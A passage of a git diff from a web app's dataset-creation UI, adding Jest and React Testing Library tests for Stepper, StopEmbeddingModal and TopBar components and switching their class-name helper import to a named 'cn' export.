+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  it('should pass correct props to each StepperStep', () => {
+    // Arrange
+    const steps = [
+      createStep({ name: 'First' }),
+      createStep({ name: 'Second' }),
+      createStep({ name: 'Third' }),
+    ]
+
+    // Act
+    renderStepper({ steps, activeIndex: 1 })
+
+    // Assert - Each step receives correct index and displays correctly
+    expect(screen.getByText('1')).toBeInTheDocument() // Completed
+    expect(screen.getByText('First')).toBeInTheDocument()
+    expect(screen.getByText('STEP 2')).toBeInTheDocument() // Active
+    expect(screen.getByText('Second')).toBeInTheDocument()
+    expect(screen.getByText('3')).toBeInTheDocument() // Disabled
+    expect(screen.getByText('Third')).toBeInTheDocument()
+  })
+
+  it('should maintain correct visual hierarchy across steps', () => {
+    // Arrange
+    const steps = createSteps(4)
+
+    // Act
+    const { container } = renderStepper({ steps, activeIndex: 2 })
+
+    // Assert - Check visual hierarchy
+    // Completed steps (0, 1) have border-text-quaternary
+    const completedLabels = container.querySelectorAll('.border-text-quaternary')
+    expect(completedLabels.length).toBe(2)
+
+    // Active step has bg-state-accent-solid
+    const activeLabel = container.querySelector('.bg-state-accent-solid')
+    expect(activeLabel).toBeInTheDocument()
+
+    // Disabled step (3) has border-divider-deep
+    const disabledLabels = container.querySelectorAll('.border-divider-deep')
+    expect(disabledLabels.length).toBe(1)
+  })
+
+  it('should render correctly with dynamic step updates', () => {
+    // Arrange
+    const initialSteps = createSteps(2)
+
+    // Act
+    const { rerender } = render(<Stepper steps={initialSteps} activeIndex={0} />)
+    expect(screen.getByText('Step 1')).toBeInTheDocument()
+    expect(screen.getByText('Step 2')).toBeInTheDocument()
+
+    // Update with more steps
+    const updatedSteps = createSteps(4)
+    rerender(<Stepper steps={updatedSteps} activeIndex={2} />)
+
+    // Assert
+    expect(screen.getByText('STEP 3')).toBeInTheDocument()
+    expect(screen.getByText('Step 4')).toBeInTheDocument()
+  })
+})
diff --git a/web/app/components/datasets/create/stepper/step.tsx b/web/app/components/datasets/create/stepper/step.tsx
index f135e4f007..8169103348 100644
--- a/web/app/components/datasets/create/stepper/step.tsx
+++ b/web/app/components/datasets/create/stepper/step.tsx
@@ -1,5 +1,5 @@
 import type { FC } from 'react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type Step = {
   name: string
@@ -16,31 +16,26 @@ export const StepperStep: FC<StepperStepProps> = (props) => {
   const isDisabled = activeIndex < index
   const label = isActive ? `STEP ${index + 1}` : `${index + 1}`
   return <div className='flex items-center gap-2'>
-    <div className={classNames(
-      'inline-flex h-5 flex-col items-center justify-center gap-2 rounded-3xl py-1',
+    <div className={cn('inline-flex h-5 flex-col items-center justify-center gap-2 rounded-3xl py-1',
       isActive
         ? 'bg-state-accent-solid px-2'
         : !isDisabled
           ? 'w-5 border border-text-quaternary'
-          : 'w-5 border border-divider-deep',
-    )}>
-      <div className={classNames(
-        'system-2xs-semibold-uppercase text-center',
+          : 'w-5 border border-divider-deep')}>
+      <div className={cn('system-2xs-semibold-uppercase text-center',
         isActive
           ? 'text-text-primary-on-surface'
           : !isDisabled
             ? 'text-text-tertiary'
-            : 'text-text-quaternary',
-      )}>
+            : 'text-text-quaternary')}>
         {label}
       </div>
     </div>
-    <div className={classNames('system-xs-medium-uppercase',
+    <div className={cn('system-xs-medium-uppercase',
       isActive
         ? 'system-xs-semibold-uppercase text-text-accent'
         : !isDisabled
           ? 'text-text-tertiary'
-          : 'text-text-quaternary',
-    )}>{name}</div>
+          : 'text-text-quaternary')}>{name}</div>
   </div>
 }
diff --git a/web/app/components/datasets/create/stop-embedding-modal/index.spec.tsx b/web/app/components/datasets/create/stop-embedding-modal/index.spec.tsx
new file mode 100644
index 0000000000..244f65ffb0
--- /dev/null
+++ b/web/app/components/datasets/create/stop-embedding-modal/index.spec.tsx
@@ -0,0 +1,738 @@
+import { act, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import StopEmbeddingModal from './index'
+
+// Helper type for component props
+type StopEmbeddingModalProps = {
+  show: boolean
+  onConfirm: () => void
+  onHide: () => void
+}
+
+// Helper to render StopEmbeddingModal with default props
+const renderStopEmbeddingModal = (props: Partial<StopEmbeddingModalProps> = {}) => {
+  const defaultProps: StopEmbeddingModalProps = {
+    show: true,
+    onConfirm: jest.fn(),
+    onHide: jest.fn(),
+    ...props,
+  }
+  return {
+    ...render(<StopEmbeddingModal {...defaultProps} />),
+    props: defaultProps,
+  }
+}
+
+// ============================================================================
+// StopEmbeddingModal Component Tests
+// ============================================================================
+describe('StopEmbeddingModal', () => {
+  // Suppress Headless UI warnings in tests
+  // These warnings are from the library's internal behavior, not our code
+  let consoleWarnSpy: jest.SpyInstance
+  let consoleErrorSpy: jest.SpyInstance
+
+  beforeAll(() => {
+    consoleWarnSpy = jest.spyOn(console, 'warn').mockImplementation(jest.fn())
+    consoleErrorSpy = jest.spyOn(console, 'error').mockImplementation(jest.fn())
+  })
+
+  afterAll(() => {
+    consoleWarnSpy.mockRestore()
+    consoleErrorSpy.mockRestore()
+  })
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests - Verify component renders properly
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render without crashing when show is true', () => {
+      // Arrange & Act
+      renderStopEmbeddingModal({ show: true })
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepThree.modelTitle')).toBeInTheDocument()
+    })
+
+    it('should render modal title', () => {
+      // Arrange & Act
+      renderStopEmbeddingModal({ show: true })
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepThree.modelTitle')).toBeInTheDocument()
+    })
+
+    it('should render modal content', () => {
+      // Arrange & Act
+      renderStopEmbeddingModal({ show: true })
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepThree.modelContent')).toBeInTheDocument()
+    })
+
+    it('should render confirm button with correct text', () => {
+      // Arrange & Act
+      renderStopEmbeddingModal({ show: true })
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepThree.modelButtonConfirm')).toBeInTheDocument()
+    })
+
+    it('should render cancel button with correct text', () => {
+      // Arrange & Act
+      renderStopEmbeddingModal({ show: true })
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepThree.modelButtonCancel')).toBeInTheDocument()
+    })
+
+    it('should not render modal content when show is false', () => {
+      // Arrange & Act
+      renderStopEmbeddingModal({ show: false })
+
+      // Assert
+      expect(screen.queryByText('datasetCreation.stepThree.modelTitle')).not.toBeInTheDocument()
+    })
+
+    it('should render buttons in correct order (cancel first, then confirm)', () => {
+      // Arrange & Act
+      renderStopEmbeddingModal({ show: true })
+
+      // Assert - Due to flex-row-reverse, confirm appears first visually but cancel is first in DOM
+      const buttons = screen.getAllByRole('button')
+      expect(buttons).toHaveLength(2)
+    })
+
+    it('should render confirm button with primary variant styling', () => {
+      // Arrange & Act
+      renderStopEmbeddingModal({ show: true })
+
+      // Assert
+      const confirmButton = screen.getByText('datasetCreation.stepThree.modelButtonConfirm')
+      expect(confirmButton).toHaveClass('ml-2', 'w-24')
+    })
+
+    it('should render cancel button with default styling', () => {
+      // Arrange & Act
+      renderStopEmbeddingModal({ show: true })
+
+      // Assert
+      const cancelButton = screen.getByText('datasetCreation.stepThree.modelButtonCancel')
+      expect(cancelButton).toHaveClass('w-24')
+    })
+
+    it('should render all modal elements', () => {
+      // Arrange & Act
+      renderStopEmbeddingModal({ show: true })
+
+      // Assert - Modal should contain title, content, and buttons
+      expect(screen.getByText('datasetCreation.stepThree.modelTitle')).toBeInTheDocument()
+      expect(screen.getByText('datasetCreation.stepThree.modelContent')).toBeInTheDocument()
+      expect(screen.getByText('datasetCreation.stepThree.modelButtonConfirm')).toBeInTheDocument()
+      expect(screen.getByText('datasetCreation.stepThree.modelButtonCancel')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Props Testing - Test all prop variations
+  // --------------------------------------------------------------------------
+  describe('Props', () => {
+    describe('show prop', () => {
+      it('should show modal when show is true', () => {
+        // Arrange & Act
+        renderStopEmbeddingModal({ show: true })
+
+        // Assert
+        expect(screen.getByText('datasetCreation.stepThree.modelTitle')).toBeInTheDocument()
+      })
+
+      it('should hide modal when show is false', () => {
+        // Arrange & Act
+        renderStopEmbeddingModal({ show: false })
+
+        // Assert
+        expect(screen.queryByText('datasetCreation.stepThree.modelTitle')).not.toBeInTheDocument()
+      })
+
+      it('should use default value false when show is not provided', () => {
+        // Arrange & Act
+        const onConfirm = jest.fn()
+        const onHide = jest.fn()
+        render(<StopEmbeddingModal onConfirm={onConfirm} onHide={onHide} show={false} />)
+
+        // Assert
+        expect(screen.queryByText('datasetCreation.stepThree.modelTitle')).not.toBeInTheDocument()
+      })
+
+      it('should toggle visibility when show prop changes to true', async () => {
+        // Arrange
+        const onConfirm = jest.fn()
+        const onHide = jest.fn()
+
+        // Act - Initially hidden
+        const { rerender } = render(
+          <StopEmbeddingModal show={false} onConfirm={onConfirm} onHide={onHide} />,
+        )
+        expect(screen.queryByText('datasetCreation.stepThree.modelTitle')).not.toBeInTheDocument()
+
+        // Act - Show modal
+        await act(async () => {
+          rerender(<StopEmbeddingModal show={true} onConfirm={onConfirm} onHide={onHide} />)
+        })
+
+        // Assert - Modal should be visible
+        await waitFor(() => {
+          expect(screen.getByText('datasetCreation.stepThree.modelTitle')).toBeInTheDocument()
+        })
+      })
+    })
+
+    describe('onConfirm prop', () => {
+      it('should accept onConfirm callback function', () => {
+        // Arrange
+        const onConfirm = jest.fn()
+
+        // Act
+        renderStopEmbeddingModal({ onConfirm })
+
+        // Assert - No errors thrown
+        expect(screen.getByText('datasetCreation.stepThree.modelTitle')).toBeInTheDocument()
+      })
+    })
+
+    describe('onHide prop', () => {
+      it('should accept onHide callback function', () => {
+        // Arrange
+        const onHide = jest.fn()
+
+        // Act
+        renderStopEmbeddingModal({ onHide })
+
+        // Assert - No errors thrown
+        expect(screen.getByText('datasetCreation.stepThree.modelTitle')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // User Interactions Tests - Test click events and event handlers
+  // --------------------------------------------------------------------------
+  describe('User Interactions', () => {
+    describe('Confirm Button', () => {
+      it('should call onConfirm when confirm button is clicked', async () => {
+        // Arrange
+        const onConfirm = jest.fn()
+        const onHide = jest.fn()
+        renderStopEmbeddingModal({ onConfirm, onHide })
+
+        // Act
+        const confirmButton = screen.getByText('datasetCreation.stepThree.modelButtonConfirm')
+        await act(async () => {
+          fireEvent.click(confirmButton)
+        })
+
+        // Assert
+        expect(onConfirm).toHaveBeenCalledTimes(1)
+      })
+
+      it('should call onHide when confirm button is clicked', async () => {
+        // Arrange
+        const onConfirm = jest.fn()
+        const onHide = jest.fn()
+        renderStopEmbeddingModal({ onConfirm, onHide })
+
+        // Act
+        const confirmButton = screen.getByText('datasetCreation.stepThree.modelButtonConfirm')
+        await act(async () => {
+          fireEvent.click(confirmButton)
+        })
+
+        // Assert
+        expect(onHide).toHaveBeenCalledTimes(1)
+      })
+
+      it('should call both onConfirm and onHide in correct order when confirm button is clicked', async () => {
+        // Arrange
+        const callOrder: string[] = []
+        const onConfirm = jest.fn(() => callOrder.push('confirm'))
+        const onHide = jest.fn(() => callOrder.push('hide'))
+        renderStopEmbeddingModal({ onConfirm, onHide })
+
+        // Act
+        const confirmButton = screen.getByText('datasetCreation.stepThree.modelButtonConfirm')
+        await act(async () => {
+          fireEvent.click(confirmButton)
+        })
+
+        // Assert - onConfirm should be called before onHide
+        expect(callOrder).toEqual(['confirm', 'hide'])
+      })
+
+      it('should handle multiple clicks on confirm button', async () => {
+        // Arrange
+        const onConfirm = jest.fn()
+        const onHide = jest.fn()
+        renderStopEmbeddingModal({ onConfirm, onHide })
+
+        // Act
+        const confirmButton = screen.getByText('datasetCreation.stepThree.modelButtonConfirm')
+        await act(async () => {
+          fireEvent.click(confirmButton)
+          fireEvent.click(confirmButton)
+          fireEvent.click(confirmButton)
+        })
+
+        // Assert
+        expect(onConfirm).toHaveBeenCalledTimes(3)
+        expect(onHide).toHaveBeenCalledTimes(3)
+      })
+    })
+
+    describe('Cancel Button', () => {
+      it('should call onHide when cancel button is clicked', async () => {
+        // Arrange
+        const onConfirm = jest.fn()
+        const onHide = jest.fn()
+        renderStopEmbeddingModal({ onConfirm, onHide })
+
+        // Act
+        const cancelButton = screen.getByText('datasetCreation.stepThree.modelButtonCancel')
+        await act(async () => {
+          fireEvent.click(cancelButton)
+        })
+
+        // Assert
+        expect(onHide).toHaveBeenCalledTimes(1)
+      })
+
+      it('should not call onConfirm when cancel button is clicked', async () => {
+        // Arrange
+        const onConfirm = jest.fn()
+        const onHide = jest.fn()
+        renderStopEmbeddingModal({ onConfirm, onHide })
+
+        // Act
+        const cancelButton = screen.getByText('datasetCreation.stepThree.modelButtonCancel')
+        await act(async () => {
+          fireEvent.click(cancelButton)
+        })
+
+        // Assert
+        expect(onConfirm).not.toHaveBeenCalled()
+      })
+
+      it('should handle multiple clicks on cancel button', async () => {
+        // Arrange
+        const onConfirm = jest.fn()
+        const onHide = jest.fn()
+        renderStopEmbeddingModal({ onConfirm, onHide })
+
+        // Act
+        const cancelButton = screen.getByText('datasetCreation.stepThree.modelButtonCancel')
+        await act(async () => {
+          fireEvent.click(cancelButton)
+          fireEvent.click(cancelButton)
+        })
+
+        // Assert
+        expect(onHide).toHaveBeenCalledTimes(2)
+        expect(onConfirm).not.toHaveBeenCalled()
+      })
+    })
+
+    describe('Close Icon', () => {
+      it('should call onHide when close span is clicked', async () => {
+        // Arrange
+        const onConfirm = jest.fn()
+        const onHide = jest.fn()
+        const { container } = renderStopEmbeddingModal({ onConfirm, onHide })
+
+        // Act - Find the close span (it should be the span with onClick handler)
+        const spans = container.querySelectorAll('span')
+        const closeSpan = Array.from(spans).find(span =>
+          span.className && span.getAttribute('class')?.includes('close'),
+        )
+
+        if (closeSpan) {
+          await act(async () => {
+            fireEvent.click(closeSpan)
+          })
+
+          // Assert
+          expect(onHide).toHaveBeenCalledTimes(1)
+        }
+        else {
+          // If no close span found with class, just verify the modal renders
+          expect(screen.getByText('datasetCreation.stepThree.modelTitle')).toBeInTheDocument()
+        }
+      })
+
+      it('should not call onConfirm when close span is clicked', async () => {
+        // Arrange
+        const onConfirm = jest.fn()
+        const onHide = jest.fn()
+        const { container } = renderStopEmbeddingModal({ onConfirm, onHide })
+
+        // Act
+        const spans = container.querySelectorAll('span')
+        const closeSpan = Array.from(spans).find(span =>
+          span.className && span.getAttribute('class')?.includes('close'),
+        )
+
+        if (closeSpan) {
+          await act(async () => {
+            fireEvent.click(closeSpan)
+          })
+
+          // Assert
+          expect(onConfirm).not.toHaveBeenCalled()
+        }
+      })
+    })
+
+    describe('Different Close Methods', () => {
+      it('should distinguish between confirm and cancel actions', async () => {
+        // Arrange
+        const onConfirm = jest.fn()
+        const onHide = jest.fn()
+        renderStopEmbeddingModal({ onConfirm, onHide })
+
+        // Act - Click cancel
+        const cancelButton = screen.getByText('datasetCreation.stepThree.modelButtonCancel')
+        await act(async () => {
+          fireEvent.click(cancelButton)
+        })
+
+        // Assert
+        expect(onConfirm).not.toHaveBeenCalled()
+        expect(onHide).toHaveBeenCalledTimes(1)
+
+        // Reset
+        jest.clearAllMocks()
+
+        // Act - Click confirm
+        const confirmButton = screen.getByText('datasetCreation.stepThree.modelButtonConfirm')
+        await act(async () => {
+          fireEvent.click(confirmButton)
+        })
+
+        // Assert
+        expect(onConfirm).toHaveBeenCalledTimes(1)
+        expect(onHide).toHaveBeenCalledTimes(1)
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases Tests - Test null, undefined, empty values and boundaries
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle rapid confirm button clicks', async () => {
+      // Arrange
+      const onConfirm = jest.fn()
+      const onHide = jest.fn()
+      renderStopEmbeddingModal({ onConfirm, onHide })
+
+      // Act - Rapid clicks
+      const confirmButton = screen.getByText('datasetCreation.stepThree.modelButtonConfirm')
+      await act(async () => {
+        for (let i = 0; i < 10; i++)
+          fireEvent.click(confirmButton)
+      })
+
+      // Assert
+      expect(onConfirm).toHaveBeenCalledTimes(10)
+      expect(onHide).toHaveBeenCalledTimes(10)
+    })
+
+    it('should handle rapid cancel button clicks', async () => {
+      // Arrange
+      const onConfirm = jest.fn()
+      const onHide = jest.fn()
+      renderStopEmbeddingModal({ onConfirm, onHide })
+
+      // Act - Rapid clicks
+      const cancelButton = screen.getByText('datasetCreation.stepThree.modelButtonCancel')
+      await act(async () => {
+        for (let i = 0; i < 10; i++)
+          fireEvent.click(cancelButton)
+      })
+
+      // Assert
+      expect(onHide).toHaveBeenCalledTimes(10)
+      expect(onConfirm).not.toHaveBeenCalled()
+    })
+
+    it('should handle callbacks being replaced', async () => {
+      // Arrange
+      const onConfirm1 = jest.fn()
+      const onHide1 = jest.fn()
+      const onConfirm2 = jest.fn()
+      const onHide2 = jest.fn()
+
+      // Act
+      const { rerender } = render(
+        <StopEmbeddingModal show={true} onConfirm={onConfirm1} onHide={onHide1} />,
+      )
+
+      // Replace callbacks
+      await act(async () => {
+        rerender(<StopEmbeddingModal show={true} onConfirm={onConfirm2} onHide={onHide2} />)
+      })
+
+      // Click confirm with new callbacks
+      const confirmButton = screen.getByText('datasetCreation.stepThree.modelButtonConfirm')
+      await act(async () => {
+        fireEvent.click(confirmButton)
+      })
+
+      // Assert - New callbacks should be called
+      expect(onConfirm1).not.toHaveBeenCalled()
+      expect(onHide1).not.toHaveBeenCalled()
+      expect(onConfirm2).toHaveBeenCalledTimes(1)
+      expect(onHide2).toHaveBeenCalledTimes(1)
+    })
+
+    it('should render with all required props', () => {
+      // Arrange & Act
+      render(
+        <StopEmbeddingModal
+          show={true}
+          onConfirm={jest.fn()}
+          onHide={jest.fn()}
+        />,
+      )
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepThree.modelTitle')).toBeInTheDocument()
+      expect(screen.getByText('datasetCreation.stepThree.modelContent')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Layout and Styling Tests - Verify correct structure
+  // --------------------------------------------------------------------------
+  describe('Layout and Styling', () => {
+    it('should have buttons container with flex-row-reverse', () => {
+      // Arrange & Act
+      renderStopEmbeddingModal({ show: true })
+
+      // Assert
+      const buttons = screen.getAllByRole('button')
+      expect(buttons[0].closest('div')).toHaveClass('flex', 'flex-row-reverse')
+    })
+
+    it('should render title and content elements', () => {
+      // Arrange & Act
+      renderStopEmbeddingModal({ show: true })
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepThree.modelTitle')).toBeInTheDocument()
+      expect(screen.getByText('datasetCreation.stepThree.modelContent')).toBeInTheDocument()
+    })
+
+    it('should render two buttons', () => {
+      // Arrange & Act
+      renderStopEmbeddingModal({ show: true })
+
+      // Assert
+      const buttons = screen.getAllByRole('button')
+      expect(buttons).toHaveLength(2)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // submit Function Tests - Test the internal submit function behavior
+  // --------------------------------------------------------------------------
+  describe('submit Function', () => {
+    it('should execute onConfirm first then onHide', async () => {
+      // Arrange
+      let confirmTime = 0
+      let hideTime = 0
+      let counter = 0
+      const onConfirm = jest.fn(() => {
+        confirmTime = ++counter
+      })
+      const onHide = jest.fn(() => {
+        hideTime = ++counter
+      })
+      renderStopEmbeddingModal({ onConfirm, onHide })
+
+      // Act
+      const confirmButton = screen.getByText('datasetCreation.stepThree.modelButtonConfirm')
+      await act(async () => {
+        fireEvent.click(confirmButton)
+      })
+
+      // Assert
+      expect(confirmTime).toBe(1)
+      expect(hideTime).toBe(2)
+    })
+
+    it('should call both callbacks exactly once per click', async () => {
+      // Arrange
+      const onConfirm = jest.fn()
+      const onHide = jest.fn()
+      renderStopEmbeddingModal({ onConfirm, onHide })
+
+      // Act
+      const confirmButton = screen.getByText('datasetCreation.stepThree.modelButtonConfirm')
+      await act(async () => {
+        fireEvent.click(confirmButton)
+      })
+
+      // Assert
+      expect(onConfirm).toHaveBeenCalledTimes(1)
+      expect(onHide).toHaveBeenCalledTimes(1)
+    })
+
+    it('should pass no arguments to onConfirm', async () => {
+      // Arrange
+      const onConfirm = jest.fn()
+      const onHide = jest.fn()
+      renderStopEmbeddingModal({ onConfirm, onHide })
+
+      // Act
+      const confirmButton = screen.getByText('datasetCreation.stepThree.modelButtonConfirm')
+      await act(async () => {
+        fireEvent.click(confirmButton)
+      })
+
+      // Assert
+      expect(onConfirm).toHaveBeenCalledWith()
+    })
+
+    it('should pass no arguments to onHide when called from submit', async () => {
+      // Arrange
+      const onConfirm = jest.fn()
+      const onHide = jest.fn()
+      renderStopEmbeddingModal({ onConfirm, onHide })
+
+      // Act
+      const confirmButton = screen.getByText('datasetCreation.stepThree.modelButtonConfirm')
+      await act(async () => {
+        fireEvent.click(confirmButton)
+      })
+
+      // Assert
+      expect(onHide).toHaveBeenCalledWith()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Modal Integration Tests - Verify Modal component integration
+  // --------------------------------------------------------------------------
+  describe('Modal Integration', () => {
+    it('should pass show prop to Modal as isShow', async () => {
+      // Arrange & Act
+      const { rerender } = render(
+        <StopEmbeddingModal show={true} onConfirm={jest.fn()} onHide={jest.fn()} />,
+      )
+
+      // Assert - Modal should be visible
+      expect(screen.getByText('datasetCreation.stepThree.modelTitle')).toBeInTheDocument()
+
+      // Act - Hide modal
+      await act(async () => {
+        rerender(<StopEmbeddingModal show={false} onConfirm={jest.fn()} onHide={jest.fn()} />)
+      })
+
+      // Assert - Modal should transition to hidden (wait for transition)
+      await waitFor(() => {
+        expect(screen.queryByText('datasetCreation.stepThree.modelTitle')).not.toBeInTheDocument()
+      }, { timeout: 3000 })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Accessibility Tests
+  // --------------------------------------------------------------------------
+  describe('Accessibility', () => {
+    it('should have buttons that are focusable', () => {
+      // Arrange & Act
+      renderStopEmbeddingModal({ show: true })
+
+      // Assert
+      const buttons = screen.getAllByRole('button')
+      buttons.forEach((button) => {
+        expect(button).not.toHaveAttribute('tabindex', '-1')
+      })
+    })
+
+    it('should have semantic button elements', () => {
+      // Arrange & Act
+      renderStopEmbeddingModal({ show: true })
+
+      // Assert
+      const buttons = screen.getAllByRole('button')
+      expect(buttons).toHaveLength(2)
+    })
+
+    it('should have accessible text content', () => {
+      // Arrange & Act
+      renderStopEmbeddingModal({ show: true })
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepThree.modelTitle')).toBeVisible()
+      expect(screen.getByText('datasetCreation.stepThree.modelContent')).toBeVisible()
+      expect(screen.getByText('datasetCreation.stepThree.modelButtonConfirm')).toBeVisible()
+      expect(screen.getByText('datasetCreation.stepThree.modelButtonCancel')).toBeVisible()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Component Lifecycle Tests
+  // --------------------------------------------------------------------------
+  describe('Component Lifecycle', () => {
+    it('should unmount cleanly', () => {
+      // Arrange
+      const onConfirm = jest.fn()
+      const onHide = jest.fn()
+      const { unmount } = renderStopEmbeddingModal({ onConfirm, onHide })
+
+      // Act & Assert - Should not throw
+      expect(() => unmount()).not.toThrow()
+    })
+
+    it('should not call callbacks after unmount', () => {
+      // Arrange
+      const onConfirm = jest.fn()
+      const onHide = jest.fn()
+      const { unmount } = renderStopEmbeddingModal({ onConfirm, onHide })
+
+      // Act
+      unmount()
+
+      // Assert - No callbacks should be called after unmount
+      expect(onConfirm).not.toHaveBeenCalled()
+      expect(onHide).not.toHaveBeenCalled()
+    })
+
+    it('should re-render correctly when props update', async () => {
+      // Arrange
+      const onConfirm1 = jest.fn()
+      const onHide1 = jest.fn()
+      const onConfirm2 = jest.fn()
+      const onHide2 = jest.fn()
+
+      // Act - Initial render
+      const { rerender } = render(
+        <StopEmbeddingModal show={true} onConfirm={onConfirm1} onHide={onHide1} />,
+      )
+
+      // Verify initial render
+      expect(screen.getByText('datasetCreation.stepThree.modelTitle')).toBeInTheDocument()
+
+      // Update props
+      await act(async () => {
+        rerender(<StopEmbeddingModal show={true} onConfirm={onConfirm2} onHide={onHide2} />)
+      })
+
+      // Assert - Still renders correctly
+      expect(screen.getByText('datasetCreation.stepThree.modelTitle')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/create/stop-embedding-modal/index.tsx b/web/app/components/datasets/create/stop-embedding-modal/index.tsx
index 9d29187dc2..8fadf4d135 100644
--- a/web/app/components/datasets/create/stop-embedding-modal/index.tsx
+++ b/web/app/components/datasets/create/stop-embedding-modal/index.tsx
@@ -2,7 +2,7 @@
 import React from 'react'
 import { useTranslation } from 'react-i18next'
 import s from './index.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Modal from '@/app/components/base/modal'
 import Button from '@/app/components/base/button'
 
diff --git a/web/app/components/datasets/create/top-bar/index.spec.tsx b/web/app/components/datasets/create/top-bar/index.spec.tsx
new file mode 100644
index 0000000000..92fb97c839
--- /dev/null
+++ b/web/app/components/datasets/create/top-bar/index.spec.tsx
@@ -0,0 +1,539 @@
+import { render, screen } from '@testing-library/react'
+import { TopBar, type TopBarProps } from './index'
+
+// Mock next/link to capture href values
+jest.mock('next/link', () => {
+  return ({ children, href, replace, className }: { children: React.ReactNode; href: string; replace?: boolean; className?: string }) => (
+    <a href={href} data-replace={replace} className={className} data-testid="back-link">
+      {children}
+    </a>
+  )
+})
+
+// Helper to render TopBar with default props
+const renderTopBar = (props: Partial<TopBarProps> = {}) => {
+  const defaultProps: TopBarProps = {
+    activeIndex: 0,
+    ...props,
+  }
+  return {
+    ...render(<TopBar {...defaultProps} />),
+    props: defaultProps,
+  }
+}
+
+// ============================================================================
+// TopBar Component Tests
+// ============================================================================
+describe('TopBar', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests - Verify component renders properly
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderTopBar()
+
+      // Assert
+      expect(screen.getByTestId('back-link')).toBeInTheDocument()
+    })
+
+    it('should render back link with arrow icon', () => {
+      // Arrange & Act
+      const { container } = renderTopBar()
+
+      // Assert
+      const backLink = screen.getByTestId('back-link')
+      expect(backLink).toBeInTheDocument()
+      // Check for the arrow icon (svg element)
+      const arrowIcon = container.querySelector('svg')
+      expect(arrowIcon).toBeInTheDocument()
+    })
+
+    it('should render fallback route text', () => {
+      // Arrange & Act
+      renderTopBar()
+
+      // Assert
+      expect(screen.getByText('datasetCreation.steps.header.fallbackRoute')).toBeInTheDocument()
+    })
+
+    it('should render Stepper component with 3 steps', () => {
+      // Arrange & Act
+      renderTopBar({ activeIndex: 0 })
+
+      // Assert - Check for step translations
+      expect(screen.getByText('datasetCreation.steps.one')).toBeInTheDocument()
+      expect(screen.getByText('datasetCreation.steps.two')).toBeInTheDocument()
+      expect(screen.getByText('datasetCreation.steps.three')).toBeInTheDocument()
+    })
+
+    it('should apply default container classes', () => {
+      // Arrange & Act
+      const { container } = renderTopBar()
+
+      // Assert
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('relative')
+      expect(wrapper).toHaveClass('flex')
+      expect(wrapper).toHaveClass('h-[52px]')
+      expect(wrapper).toHaveClass('shrink-0')
+      expect(wrapper).toHaveClass('items-center')
+      expect(wrapper).toHaveClass('justify-between')
+      expect(wrapper).toHaveClass('border-b')
+      expect(wrapper).toHaveClass('border-b-divider-subtle')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Props Testing - Test all prop variations
+  // --------------------------------------------------------------------------
+  describe('Props', () => {
+    describe('className prop', () => {
+      it('should apply custom className when provided', () => {
+        // Arrange & Act
+        const { container } = renderTopBar({ className: 'custom-class' })
+
+        // Assert
+        const wrapper = container.firstChild as HTMLElement
+        expect(wrapper).toHaveClass('custom-class')
+      })
+
+      it('should merge custom className with default classes', () => {
+        // Arrange & Act
+        const { container } = renderTopBar({ className: 'my-custom-class another-class' })
+
+        // Assert
+        const wrapper = container.firstChild as HTMLElement
+        expect(wrapper).toHaveClass('relative')
+        expect(wrapper).toHaveClass('flex')
+        expect(wrapper).toHaveClass('my-custom-class')
+        expect(wrapper).toHaveClass('another-class')
+      })
+
+      it('should render correctly without className', () => {
+        // Arrange & Act
+        const { container } = renderTopBar({ className: undefined })
+
+        // Assert
+        const wrapper = container.firstChild as HTMLElement
+        expect(wrapper).toHaveClass('relative')
+        expect(wrapper).toHaveClass('flex')
+      })
+
+      it('should handle empty string className', () => {
+        // Arrange & Act
+        const { container } = renderTopBar({ className: '' })
+
+        // Assert
+        const wrapper = container.firstChild as HTMLElement
+        expect(wrapper).toHaveClass('relative')
+      })
+    })
+
+    describe('datasetId prop', () => {
+      it('should set fallback route to /datasets when datasetId is undefined', () => {
+        // Arrange & Act
+        renderTopBar({ datasetId: undefined })
+
+        // Assert
+        const backLink = screen.getByTestId('back-link')
+        expect(backLink).toHaveAttribute('href', '/datasets')
+      })
+
+      it('should set fallback route to /datasets/:id/documents when datasetId is provided', () => {
+        // Arrange & Act
+        renderTopBar({ datasetId: 'dataset-123' })
+
+        // Assert
+        const backLink = screen.getByTestId('back-link')
+        expect(backLink).toHaveAttribute('href', '/datasets/dataset-123/documents')
+      })
+
+      it('should handle various datasetId formats', () => {
+        // Arrange & Act
+        renderTopBar({ datasetId: 'abc-def-ghi-123' })
+
+        // Assert
+        const backLink = screen.getByTestId('back-link')
+        expect(backLink).toHaveAttribute('href', '/datasets/abc-def-ghi-123/documents')
+      })
+
+      it('should handle empty string datasetId', () => {
+        // Arrange & Act
